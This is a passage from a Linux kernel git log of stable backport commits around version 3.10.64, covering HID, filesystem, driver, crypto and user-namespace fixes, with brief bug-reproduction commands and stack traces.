issues, since the allowed outputs of the algorithm are unchanged. As an easy test, doing this: for i in `seq 10000` do grep -P vdso /proc/self/maps |cut -d- -f1 done |sort |uniq -d used to produce lots of output (1445 lines on my most recent run). A tiny subset looks like this: 7fffdfffe000 7fffe01fe000 7fffe05fe000 7fffe07fe000 7fffe09fe000 7fffe0bfe000 7fffe0dfe000 Note the suspicious fe000 endings. With the fix, I get a much more palatable 76 repeated addresses. Reviewed-by: Kees Cook Signed-off-by: Andy Lutomirski Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit eee6d89f8e8a227cf6ac29135061fb08e8b3988d Author: Giedrius StatkeviÄius Date: Sat Dec 27 00:28:30 2014 +0200 HID: Add a new id 0x501a for Genius MousePen i608X commit 2bacedada682d5485424f5227f27a3d5d6eb551c upstream. New Genius MousePen i608X devices have a new id 0x501a instead of the old 0x5011 so add a new #define with "_2" appended and change required places. The remaining two checkpatch warnings about line length being over 80 characters are present in the original files too and this patch was made in the same style (no line break). Just adding a new id and changing the required places should make the new device work without any issues according to the bug report in the following url. This patch was made according to and fixes: https://bugzilla.kernel.org/show_bug.cgi?id=67111 Signed-off-by: Giedrius StatkeviÄius Signed-off-by: Jiri Kosina Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 911cbede524a30ed9d4285f66270a49fc2f3d147 Author: Karl Relton Date: Tue Dec 16 15:37:22 2014 +0000 HID: add battery quirk for USB_DEVICE_ID_APPLE_ALU_WIRELESS_2011_ISO keyboard commit da940db41dcf8c04166f711646df2f35376010aa upstream. Apple bluetooth wireless keyboard (sold in UK) has always reported zero for battery strength no matter what condition the batteries are actually in. With this patch applied (applying same quirk as other Apple keyboards), the battery strength is now correctly reported. Signed-off-by: Karl Relton Signed-off-by: Jiri Kosina Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ba2cdcd0a13138e13836d959a431f5411ecd9f9e Author: Dan Carpenter Date: Fri Jan 9 15:32:31 2015 +0300 HID: roccat: potential out of bounds in pyra_sysfs_write_settings() commit 606185b20caf4c57d7e41e5a5ea4aff460aef2ab upstream. This is a static checker fix. We write some binary settings to the sysfs file. One of the settings is the "->startup_profile". There isn't any checking to make sure it fits into the pyra->profile_settings[] array in the profile_activated() function. I added a check to pyra_sysfs_write_settings() in both places because I wasn't positive that the other callers were correct. Signed-off-by: Dan Carpenter Signed-off-by: Jiri Kosina Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1c7b5a45655427c0b8541cc62306e061bdd5f525 Author: Gwendal Grignou Date: Thu Dec 11 16:02:45 2014 -0800 HID: i2c-hid: prevent buffer overflow in early IRQ commit d1c7e29e8d276c669e8790bb8be9f505ddc48888 upstream. Before ->start() is called, bufsize size is set to HID_MIN_BUFFER_SIZE, 64 bytes. While processing the IRQ, we were asking to receive up to wMaxInputLength bytes, which can be bigger than 64 bytes. Later, when ->start is run, a proper bufsize will be calculated. Given wMaxInputLength is said to be unreliable in other part of the code, set to receive only what we can even if it results in truncated reports. Signed-off-by: Gwendal Grignou Reviewed-by: Benjamin Tissoires Signed-off-by: Jiri Kosina Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5e58a178f91ada57b56bb833721d16e323d07815 Author: Jean-Baptiste Maneyrol Date: Thu Nov 20 00:46:37 2014 +0800 HID: i2c-hid: fix race condition reading reports commit 6296f4a8eb86f9abcc370fb7a1a116b8441c17fd upstream. Current driver uses a common buffer for reading reports either synchronously in i2c_hid_get_raw_report() and asynchronously in the interrupt handler. There is race condition if an interrupt arrives immediately after the report is received in i2c_hid_get_raw_report(); the common buffer is modified by the interrupt handler with the new report and then i2c_hid_get_raw_report() proceed using wrong data. Fix it by using a separate buffers for synchronous reports. Signed-off-by: Jean-Baptiste Maneyrol [Antonio Borneo: cleanup, rebase to v3.17, submit mainline] Signed-off-by: Antonio Borneo Reviewed-by: Benjamin Tissoires Signed-off-by: Jiri Kosina Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d907b3b7b4f1725e2092614a8701b08f6169ba77 Author: Jiang Liu Date: Wed Nov 26 09:42:10 2014 +0800 iommu/vt-d: Fix an off-by-one bug in __domain_mapping() commit cc4f14aa170d895c9a43bdb56f62070c8a6da908 upstream. There's an off-by-one bug in function __domain_mapping(), which may trigger the BUG_ON(nr_pages < lvl_pages) when (nr_pages + 1) & superpage_mask == 0 The issue was introduced by commit 9051aa0268dc "intel-iommu: Combine domain_pfn_mapping() and domain_sg_mapping()", which sets sg_res to "nr_pages + 1" to avoid some of the 'sg_res==0' code paths. It's safe to remove extra "+1" because sg_res is only used to calculate page size now. Reported-And-Tested-by: Sudeep Dutt Signed-off-by: Jiang Liu Acked-By: David Woodhouse Signed-off-by: Joerg Roedel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 16bff41aec60170bc29b57ab6f62a037b3845ff6 Author: Richard Weinberger Date: Thu Nov 6 16:47:49 2014 +0100 UBI: Fix double free after do_sync_erase() commit aa5ad3b6eb8feb2399a5d26c8fb0060561bb9534 upstream. If the erase worker is unable to erase a PEB it will free the ubi_wl_entry itself. The failing ubi_wl_entry must not free()'d again after do_sync_erase() returns. Signed-off-by: Richard Weinberger Signed-off-by: Artem Bityutskiy Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bda7f7dbeb66ee25e188417f38e76363e4ee2e15 Author: Richard Weinberger Date: Mon Oct 27 00:46:11 2014 +0100 UBI: Fix invalid vfree() commit f38aed975c0c3645bbdfc5ebe35726e64caaf588 upstream. The logic of vfree()'ing vol->upd_buf is tied to vol->updating. In ubi_start_update() vol->updating is set long before vmalloc()'ing vol->upd_buf. If we encounter a write failure in ubi_start_update() before vmalloc() the UBI device release function will try to vfree() vol->upd_buf because vol->updating is set. Fix this by allocating vol->upd_buf directly after setting vol->updating. Fixes: [ 31.559338] UBI warning: vol_cdev_release: update of volume 2 not finished, volume is damaged [ 31.559340] ------------[ cut here ]------------ [ 31.559343] WARNING: CPU: 1 PID: 2747 at mm/vmalloc.c:1446 __vunmap+0xe3/0x110() [ 31.559344] Trying to vfree() nonexistent vm area (ffffc90001f2b000) [ 31.559345] Modules linked in: [ 31.565620] 0000000000000bba ffff88002a0cbdb0 ffffffff818f0497 ffff88003b9ba148 [ 31.566347] ffff88002a0cbde0 ffffffff8156f515 ffff88003b9ba148 0000000000000bba [ 31.567073] 0000000000000000 0000000000000000 ffff88002a0cbe88 ffffffff8156c10a [ 31.567793] Call Trace: [ 31.568034] [] dump_stack+0x4e/0x7a [ 31.568510] [] ubi_io_write_vid_hdr+0x155/0x160 [ 31.569084] [] ubi_eba_write_leb+0x23a/0x870 [ 31.569628] [] vol_cdev_write+0x226/0x380 [ 31.570155] [] vfs_write+0xb5/0x1f0 [ 31.570627] [] SyS_pwrite64+0x6a/0xa0 [ 31.571123] [] system_call_fastpath+0x16/0x1b Signed-off-by: Richard Weinberger Signed-off-by: Artem Bityutskiy Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 640943dbed2e635916fbe08ca39ac2bfcad066ed Author: Tony Lindgren Date: Tue Sep 16 13:50:01 2014 -0700 pstore-ram: Allow optional mapping with pgprot_noncached commit 027bc8b08242c59e19356b4b2c189f2d849ab660 upstream. On some ARMs the memory can be mapped pgprot_noncached() and still be working for atomic operations. As pointed out by Colin Cross , in some cases you do want to use pgprot_noncached() if the SoC supports it to see a debug printk just before a write hanging the system. On ARMs, the atomic operations on strongly ordered memory are implementation defined. So let's provide an optional kernel parameter for configuring pgprot_noncached(), and use pgprot_writecombine() by default. Cc: Arnd Bergmann Cc: Rob Herring Cc: Randy Dunlap Cc: Anton Vorontsov Cc: Colin Cross Cc: Olof Johansson Cc: Russell King Acked-by: Kees Cook Signed-off-by: Tony Lindgren Signed-off-by: Tony Luck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8fb9f7ceb8a9563fbc36803680845429dbda572a Author: Myron Stowe Date: Thu Oct 30 11:54:37 2014 -0600 PCI: Restore detection of read-only BARs commit 36e8164882ca6d3c41cb91e6f09a3ed236841f80 upstream. Commit 6ac665c63dca ("PCI: rewrite PCI BAR reading code") masked off low-order bits from 'l', but not from 'sz'. Both are passed to pci_size(), which compares 'base == maxbase' to check for read-only BARs. The masking of 'l' means that comparison will never be 'true', so the check for read-only BARs no longer works. Resolve this by also masking off the low-order bits of 'sz' before passing it into pci_size() as 'maxbase'. With this change, pci_size() will once again catch the problems that have been encountered to date: - AGP aperture BAR of AMD-7xx host bridges: if the AGP window is disabled, this BAR is read-only and read as 0x00000008 [1] - BARs 0-4 of ALi IDE controllers can be non-zero and read-only [1] - Intel Sandy Bridge - Thermal Management Controller [8086:0103]; BAR 0 returning 0xfed98004 [2] - Intel Xeon E5 v3/Core i7 Power Control Unit [8086:2fc0]; Bar 0 returning 0x00001a [3] Link: [1] https://git.kernel.org/cgit/linux/kernel/git/tglx/history.git/commit/drivers/pci/probe.c?id=1307ef6621991f1c4bc3cec1b5a4ebd6fd3d66b9 ("PCI: probing read-only BARs" (pre-git)) Link: [2] https://bugzilla.kernel.org/show_bug.cgi?id=43331 Link: [3] https://bugzilla.kernel.org/show_bug.cgi?id=85991 Reported-by: William Unruh Reported-by: Martin Lucina Signed-off-by: Myron Stowe Signed-off-by: Bjorn Helgaas CC: Matthew Wilcox Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7cce08055ec16e61d45452f364613052b7237e95 Author: Andrew Jackson Date: Fri Dec 19 16:18:05 2014 +0000 ASoC: dwc: Ensure FIFOs are flushed to prevent channel swap commit 3475c3d034d7f276a474c8bd53f44b48c8bf669d upstream. Flush the FIFOs when the stream is prepared for use. This avoids an inadvertent swapping of the left/right channels if the FIFOs are not empty at startup. Signed-off-by: Andrew Jackson Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c59b32dd148e32e7c6bb6002902b011b6ff4a3f3 Author: Jarkko Nikula Date: Mon Nov 24 15:32:36 2014 +0200 ASoC: max98090: Fix ill-defined sidetone route commit 48826ee590da03e9882922edf96d8d27bdfe9552 upstream. Commit 5fe5b767dc6f ("ASoC: dapm: Do not pretend to support controls for non mixer/mux widgets") revealed ill-defined control in a route between "STENL Mux" and DACs in max98090.c: max98090 i2c-193C9890:00: Control not supported for path STENL Mux -> [NULL] -> DACL max98090 i2c-193C9890:00: ASoC: no dapm match for STENL Mux --> NULL --> DACL max98090 i2c-193C9890:00: ASoC: Failed to add route STENL Mux -> NULL -> DACL max98090 i2c-193C9890:00: Control not supported for path STENL Mux -> [NULL] -> DACR max98090 i2c-193C9890:00: ASoC: no dapm match for STENL Mux --> NULL --> DACR max98090 i2c-193C9890:00: ASoC: Failed to add route STENL Mux -> NULL -> DACR Since there is no control between "STENL Mux" and DACs the control name must be NULL not "NULL". Signed-off-by: Jarkko Nikula Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0905766a89b0ff65541335450b9449c4cd9270e9 Author: Lars-Peter Clausen Date: Wed Nov 19 18:29:02 2014 +0100 ASoC: sigmadsp: Refuse to load firmware files with a non-supported version commit 50c0f21b42dd4cd02b51f82274f66912d9a7fa32 upstream. Make sure to check the version field of the firmware header to make sure to not accidentally try to parse a firmware file with a different layout. Trying to do so can result in loading invalid firmware code to the device. Signed-off-by: Lars-Peter Clausen Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 92af539c4977839ad5d51ec605872fd6a887a259 Author: Felix Fietkau Date: Sun Nov 30 21:52:57 2014 +0100 ath5k: fix hardware queue index assignment commit 9e4982f6a51a2442f1bb588fee42521b44b4531c upstream. Like with ath9k, ath5k queues also need to be ordered by priority. queue_info->tqi_subtype already contains the correct index, so use it instead of relying on the order of ath5k_hw_setup_tx_queue calls. Signed-off-by: Felix Fietkau Signed-off-by: John W. Linville Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 01980ddb21ed2e7d5eac8c26e2cd2112ca8c25f3 Author: Stefano Stabellini Date: Fri Nov 21 16:56:12 2014 +0000 swiotlb-xen: pass dev_addr to swiotlb_tbl_unmap_single commit 2c3fc8d26dd09b9d7069687eead849ee81c78e46 upstream. Need to pass the pointer within the swiotlb internal buffer to the swiotlb library, that in the case of xen_unmap_single is dev_addr, not paddr. Signed-off-by: Stefano Stabellini Acked-by: Konrad Rzeszutek Wilk Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cb53d66f454ffeb984f8dc9ae1e1b39cadb3b85a Author: Stephane Grosjean Date: Fri Nov 28 14:08:48 2014 +0100 can: peak_usb: fix memset() usage commit dc50ddcd4c58a5a0226038307d6ef884bec9f8c2 upstream. This patchs fixes a misplaced call to memset() that fills the request buffer with 0. The problem was with sending PCAN_USBPRO_REQ_FCT requests, the content set by the caller was thus lost. With this patch, the memory area is zeroed only when requesting info from the device. Signed-off-by: Stephane Grosjean Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6fea8d0cd5fa74e98a085d34d34980b6d8edc1c1 Author: Stephane Grosjean Date: Fri Nov 28 13:49:10 2014 +0100 can: peak_usb: fix cleanup sequence order in case of error during init commit af35d0f1cce7a990286e2b94c260a2c2d2a0e4b0 upstream. This patch sets the correct reverse sequence order to the instructions set to run, when any failure occurs during the initialization steps. It also adds the missing unregistration call of the can device if the failure appears after having been registered. Signed-off-by: Stephane Grosjean Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ad8f5c0620835617ae19f37c9e2868c45e28843c Author: Felix Fietkau Date: Sun Nov 30 20:38:41 2014 +0100 ath9k: fix BE/BK queue order commit 78063d81d353e10cbdd279c490593113b8fdae1c upstream. Hardware queues are ordered by priority. Use queue index 0 for BK, which has lower priority than BE. Signed-off-by: Felix Fietkau Signed-off-by: John W. Linville Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 783664910846f6cd2e4f48e330abf33cf9870ab5 Author: Felix Fietkau Date: Sun Nov 30 20:38:40 2014 +0100 ath9k_hw: fix hardware queue allocation commit ad8fdccf9c197a89e2d2fa78c453283dcc2c343f upstream. The driver passes the desired hardware queue index for a WMM data queue in qinfo->tqi_subtype. This was ignored in ath9k_hw_setuptxqueue, which instead relied on the order in which the function is called. Reported-by: Hubert Feurstein Signed-off-by: Felix Fietkau Signed-off-by: John W. Linville Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7a14c22e265105e6245ebd66fe759454f49e82f3 Author: Junxiao Bi Date: Thu Dec 18 16:17:37 2014 -0800 ocfs2: fix journal commit deadlock commit 136f49b9171074872f2a14ad0ab10486d1ba13ca upstream. For buffer write, page lock will be got in write_begin and released in write_end, in ocfs2_write_end_nolock(), before it unlock the page in ocfs2_free_write_ctxt(), it calls ocfs2_run_deallocs(), this will ask for the read lock of journal->j_trans_barrier. Holding page lock and ask for journal->j_trans_barrier breaks the locking order. This will cause a deadlock with journal commit threads, ocfs2cmt will get write lock of journal->j_trans_barrier first, then it wakes up kjournald2 to do the commit work, at last it waits until done. To commit journal, kjournald2 needs flushing data first, it needs get the cache page lock. Since some ocfs2 cluster locks are holding by write process, this deadlock may hung the whole cluster. unlock pages before ocfs2_run_deallocs() can fix the locking order, also put unlock before ocfs2_commit_trans() to make page lock is unlocked before j_trans_barrier to preserve unlocking order. Signed-off-by: Junxiao Bi Reviewed-by: Wengang Wang Reviewed-by: Mark Fasheh Cc: Joel Becker Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f0ca171fac84b25f2c64036efb64e4ce060a471d Author: Greg Kroah-Hartman Date: Thu Jan 8 09:58:30 2015 -0800 Linux 3.10.64 Signed-off-by: Pranav Vashi commit 834753c8732afea32c01aa87fc587ead68f78750 Author: Filipe Manana Date: Sun Dec 7 21:31:47 2014 +0000 Btrfs: fix fs corruption on transaction abort if device supports discard commit 678886bdc6378c1cbd5072da2c5a3035000214e3 upstream. When we abort a transaction we iterate over all the ranges marked as dirty in fs_info->freed_extents[0] and fs_info->freed_extents[1], clear them from those trees, add them back (unpin) to the free space caches and, if the fs was mounted with "-o discard", perform a discard on those regions. Also, after adding the regions to the free space caches, a fitrim ioctl call can see those ranges in a block group's free space cache and perform a discard on the ranges, so the same issue can happen without "-o discard" as well. This causes corruption, affecting one or multiple btree nodes (in the worst case leaving the fs unmountable) because some of those ranges (the ones in the fs_info->pinned_extents tree) correspond to btree nodes/leafs that are referred by the last committed super block - breaking the rule that anything that was committed by a transaction is untouched until the next transaction commits successfully. I ran into this while running in a loop (for several hours) the fstest that I recently submitted: [PATCH] fstests: add btrfs test to stress chunk allocation/removal and fstrim The corruption always happened when a transaction aborted and then fsck complained like this: _check_btrfs_filesystem: filesystem on /dev/sdc is inconsistent *** fsck.btrfs output *** Check tree block failed, want=94945280, have=0 Check tree block failed, want=94945280, have=0 Check tree block failed, want=94945280, have=0 Check tree block failed, want=94945280, have=0 Check tree block failed, want=94945280, have=0 read block failed check_tree_block Couldn't open file system In this case 94945280 corresponded to the root of a tree. Using frace what I observed was the following sequence of steps happened: 1) transaction N started, fs_info->pinned_extents pointed to fs_info->freed_extents[0]; 2) node/eb 94945280 is created; 3) eb is persisted to disk; 4) transaction N commit starts, fs_info->pinned_extents now points to fs_info->freed_extents[1], and transaction N completes; 5) transaction N + 1 starts; 6) eb is COWed, and btrfs_free_tree_block() called for this eb; 7) eb range (94945280 to 94945280 + 16Kb) is added to fs_info->pinned_extents (fs_info->freed_extents[1]); 8) Something goes wrong in transaction N + 1, like hitting ENOSPC for example, and the transaction is aborted, turning the fs into readonly mode. The stack trace I got for example: [112065.253935] [] dump_stack+0x4d/0x66 [112065.254271] [] warn_slowpath_common+0x7f/0x98 [112065.254567] [] ? __btrfs_abort_transaction+0x50/0x10b [btrfs] [112065.261674] [] warn_slowpath_fmt+0x48/0x50 [112065.261922] [] ? btrfs_free_path+0x26/0x29 [btrfs] [112065.262211] [] __btrfs_abort_transaction+0x50/0x10b [btrfs] [112065.262545] [] btrfs_remove_chunk+0x537/0x58b [btrfs] [112065.262771] [] btrfs_delete_unused_bgs+0x1de/0x21b [btrfs] [112065.263105] [] cleaner_kthread+0x100/0x12f [btrfs] (...) [112065.264493] ---[ end trace dd7903a975a31a08 ]--- [112065.264673] BTRFS: error (device sdc) in btrfs_remove_chunk:2625: errno=-28 No space left [112065.264997] BTRFS info (device sdc): forced readonly 9) The clear kthread sees that the BTRFS_FS_STATE_ERROR bit is set in fs_info->fs_state and calls btrfs_cleanup_transaction(), which in turn calls btrfs_destroy_pinned_extent(); 10) Then btrfs_destroy_pinned_extent() iterates over all the ranges marked as dirty in fs_info->freed_extents[], and for each one it calls discard, if the fs was mounted with "-o discard", and adds the range to the free space cache of the respective block group; 11) btrfs_trim_block_group(), invoked from the fitrim ioctl code path, sees the free space entries and performs a discard; 12) After an umount and mount (or fsck), our eb's location on disk was full of zeroes, and it should have been untouched, because it was marked as dirty in the fs_info->pinned_extents tree, and therefore used by the trees that the last committed superblock points to. Fix this by not performing a discard and not adding the ranges to the free space caches - it's useless from this point since the fs is now in readonly mode and we won't write free space caches to disk anymore (otherwise we would leak space) nor any new superblock. By not adding the ranges to the free space caches, it prevents other code paths from allocating that space and write to it as well, therefore being safer and simpler. This isn't a new problem, as it's been present since 2011 (git commit acce952b0263825da32cf10489413dec78053347). Signed-off-by: Filipe Manana Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 931f6b5645279682093f61fa817be2752c35f8c7 Author: Josef Bacik Date: Fri Nov 14 16:16:30 2014 -0500 Btrfs: do not move em to modified list when unpinning commit a28046956c71985046474283fa3bcd256915fb72 upstream. We use the modified list to keep track of which extents have been modified so we know which ones are candidates for logging at fsync() time. Newly modified extents are added to the list at modification time, around the same time the ordered extent is created. We do this so that we don't have to wait for ordered extents to complete before we know what we need to log. The problem is when something like this happens log extent 0-4k on inode 1 copy csum for 0-4k from ordered extent into log sync log commit transaction log some other extent on inode 1 ordered extent for 0-4k completes and adds itself onto modified list again log changed extents see ordered extent for 0-4k has already been logged at this point we assume the csum has been copied sync log crash On replay we will see the extent 0-4k in the log, drop the original 0-4k extent which is the same one that we are replaying which also drops the csum, and then we won't find the csum in the log for that bytenr. This of course causes us to have errors about not having csums for certain ranges of our inode. So remove the modified list manipulation in unpin_extent_cache, any modified extents should have been added well before now, and we don't want them re-logged. This fixes my test that I could reliably reproduce this problem with. Thanks, Signed-off-by: Josef Bacik Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1618f4ff6dea225cc613f6bdf30be068bdc7d938 Author: Tyler Hicks Date: Tue Oct 7 15:51:55 2014 -0500 eCryptfs: Force RO mount when encrypted view is enabled commit 332b122d39c9cbff8b799007a825d94b2e7c12f2 upstream. The ecryptfs_encrypted_view mount option greatly changes the functionality of an eCryptfs mount. Instead of encrypting and decrypting lower files, it provides a unified view of the encrypted files in the lower filesystem. The presence of the ecryptfs_encrypted_view mount option is intended to force a read-only mount and modifying files is not supported when the feature is in use. See the following commit for more information: e77a56d [PATCH] eCryptfs: Encrypted passthrough This patch forces the mount to be read-only when the ecryptfs_encrypted_view mount option is specified by setting the MS_RDONLY flag on the superblock. Additionally, this patch removes some broken logic in ecryptfs_open() that attempted to prevent modifications of files when the encrypted view feature was in use. The check in ecryptfs_open() was not sufficient to prevent file modifications using system calls that do not operate on a file descriptor. Signed-off-by: Tyler Hicks Reported-by: Priya Bansal Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b7f987f088e3e8ff09b27f1dca9102dececd07eb Author: Jan Kara Date: Fri Dec 19 12:21:47 2014 +0100 udf: Verify symlink size before loading it commit a1d47b262952a45aae62bd49cfaf33dd76c11a2c upstream. UDF specification allows arbitrarily large symlinks. However we support only symlinks at most one block large. Check the length of the symlink so that we don't access memory beyond end of the symlink block. Reported-by: Carl Henrik Lunde Signed-off-by: Jan Kara Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d2d7bc6aa7c4560f48b0ccb949e358d19798945f Author: Oleg Nesterov Date: Wed Dec 10 15:55:25 2014 -0800 exit: pidns: alloc_pid() leaks pid_namespace if child_reaper is exiting commit 24c037ebf5723d4d9ab0996433cee4f96c292a4d upstream. alloc_pid() does get_pid_ns() beforehand but forgets to put_pid_ns() if it fails because disable_pid_allocation() was called by the exiting child_reaper. We could simply move get_pid_ns() down to successful return, but this fix tries to be as trivial as possible. Signed-off-by: Oleg Nesterov Reviewed-by: "Eric W. Biederman" Cc: Aaron Tomlin Cc: Pavel Emelyanov Cc: Serge Hallyn Cc: Sterling Alexander Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1ddf56ac8828d0f6611421e30ecd43233c22bad3 Author: Jan Kara Date: Wed Dec 10 15:52:22 2014 -0800 ncpfs: return proper error from NCP_IOC_SETROOT ioctl commit a682e9c28cac152e6e54c39efcf046e0c8cfcf63 upstream. If some error happens in NCP_IOC_SETROOT ioctl, the appropriate error return value is then (in most cases) just overwritten before we return. This can result in reporting success to userspace although error happened. This bug was introduced by commit 2e54eb96e2c8 ("BKL: Remove BKL from ncpfs"). Propagate the errors correctly. Coverity id: 1226925. Fixes: 2e54eb96e2c80 ("BKL: Remove BKL from ncpfs") Signed-off-by: Jan Kara Cc: Petr Vandrovec Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2102d1a92ca33e2d26d2c34cb51a517e0f3170f8 Author: Rabin Vincent Date: Fri Dec 19 13:36:08 2014 +0100 crypto: af_alg - fix backlog handling commit 7e77bdebff5cb1e9876c561f69710b9ab8fa1f7e upstream. If a request is backlogged, it's complete() handler will get called twice: once with -EINPROGRESS, and once with the final error code. af_alg's complete handler, unlike other users, does not handle the -EINPROGRESS but instead always completes the completion that recvmsg() is waiting on. This can lead to a return to user space while the request is still pending in the driver. If userspace closes the sockets before the requests are handled by the driver, this will lead to use-after-frees (and potential crashes) in the kernel due to the tfm having been freed. The crashes can be easily reproduced (for example) by reducing the max queue length in cryptod.c and running the following (from http://www.chronox.de/libkcapi.html) on AES-NI capable hardware: $ while true; do kcapi -x 1 -e -c '__ecb-aes-aesni' \ -k 00000000000000000000000000000000 \ -p 00000000000000000000000000000000 >/dev/null & done Signed-off-by: Rabin Vincent Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 70282bb927a0e8fb41ee18bbf1fa9948c7b10c7f Author: Eric W. Biederman Date: Tue Dec 2 13:56:30 2014 -0600 userns: Unbreak the unprivileged remount tests commit db86da7cb76f797a1a8b445166a15cb922c6ff85 upstream. A security fix in caused the way the unprivileged remount tests were using user namespaces to break. Tweak the way user namespaces are being used so the test works again. Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d043645f72d62d128c1440977abb6ae5ef4468fb Author: Eric W. Biederman Date: Fri Dec 5 19:36:04 2014 -0600 userns: Allow setting gid_maps without privilege when setgroups is disabled commit 66d2f338ee4c449396b6f99f5e75cd18eb6df272 upstream. Now that setgroups can be disabled and not reenabled, setting gid_map without privielge can now be enabled when setgroups is disabled. This restores most of the functionality that was lost when unprivileged setting of gid_map was removed. Applications that use this functionality will need to check to see if they use setgroups or init_groups, and if they don't they can be fixed by simply disabling setgroups before writing to gid_map. Reviewed-by: Andy Lutomirski Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 52e20d24bddb144c6ab7348b35916442be302f63 Author: Eric W. Biederman Date: Tue Dec 2 12:27:26 2014 -0600 userns: Add a knob to disable setgroups on a per user namespace basis commit 9cc46516ddf497ea16e8d7cb986ae03a0f6b92f8 upstream. - Expose the knob to user space through a proc file /proc//setgroups A value of "deny" means the setgroups system call is disabled in the current processes user namespace and can not be enabled in the future in this user namespace. A value of "allow" means the segtoups system call is enabled. - Descendant user namespaces inherit the value of setgroups from their parents. - A proc file is used (instead of a sysctl) as sysctls currently do not allow checking the permissions at open time. - Writing to the proc file is restricted to before the gid_map for the user namespace is set. This ensures that disabling setgroups at a user namespace level will never remove the ability to call setgroups from a process that already has that ability. A process may opt in to the setgroups disable for itself by creating, entering and configuring a user namespace or by calling setns on an existing user namespace with setgroups disabled. Processes without privileges already can not call setgroups so this is a noop. Prodcess with privilege become processes without privilege when entering a user namespace and as with any other path to dropping privilege they would not have the ability to call setgroups. So this remains within the bounds of what is possible without a knob to disable setgroups permanently in a user namespace. Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fe117733b8ede031df50d3fb07c4afb8aeb3f789 Author: Eric W. Biederman Date: Tue Dec 9 14:03:14 2014 -0600 userns: Rename id_map_mutex to userns_state_mutex commit f0d62aec931e4ae3333c797d346dc4f188f454ba upstream. Generalize id_map_mutex so it can be used for more state of a user namespace. Reviewed-by: Andy Lutomirski Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b5bffd39bfd72e8c5dbde0cd67aebb6235505f11 Author: Eric W. Biederman Date: Wed Nov 26 23:22:14 2014 -0600 userns: Only allow the creator of the userns unprivileged mappings commit f95d7918bd1e724675de4940039f2865e5eec5fe upstream. If you did not create the user namespace and are allowed to write to uid_map or gid_map you should already have the necessary privilege in the parent user namespace to establish any mapping you want so this will not affect userspace in practice. Limiting unprivileged uid mapping establishment to the creator of the user namespace makes it easier to verify all credentials obtained with the uid mapping can be obtained without the uid mapping without privilege. Limiting unprivileged gid mapping establishment (which is temporarily absent) to the creator of the user namespace also ensures that the combination of uid and gid can already be obtained without privilege. This is part of the fix for CVE-2014-8989. Reviewed-by: Andy Lutomirski Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 55d812abd806fb24939a837beec199e69b121108 Author: Eric W. Biederman Date: Fri Dec 5 18:26:30 2014 -0600 userns: Check euid no fsuid when establishing an unprivileged uid mapping commit 80dd00a23784b384ccea049bfb3f259d3f973b9d upstream. setresuid allows the euid to be set to any of uid, euid, suid, and fsuid. Therefor it is safe to allow an unprivileged user to map their euid and use CAP_SETUID privileged with exactly that uid, as no new credentials can be obtained. I can not find a combination of existing system calls that allows setting uid, euid, suid, and fsuid from the fsuid making the previous use of fsuid for allowing unprivileged mappings a bug. This is part of a fix for CVE-2014-8989. Reviewed-by: Andy Lutomirski Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6f6ee1da9ca696a1024db771d84c2e0f35d4301e Author: Eric W. Biederman Date: Fri Dec 5 18:14:19 2014 -0600 userns: Don't allow unprivileged creation of gid mappings commit be7c6dba2332cef0677fbabb606e279ae76652c3 upstream. As any gid mapping will allow and must allow for backwards compatibility dropping groups don't allow any gid mappings to be established without CAP_SETGID in the parent user namespace. For a small class of applications this change breaks userspace and removes useful functionality. This small class of applications includes tools/testing/selftests/mount/unprivilged-remount-test.c Most of the removed functionality will be added back with the addition of a one way knob to disable setgroups. Once setgroups is disabled setting the gid_map becomes as safe as setting the uid_map. For more common applications that set the uid_map and the gid_map with privilege this 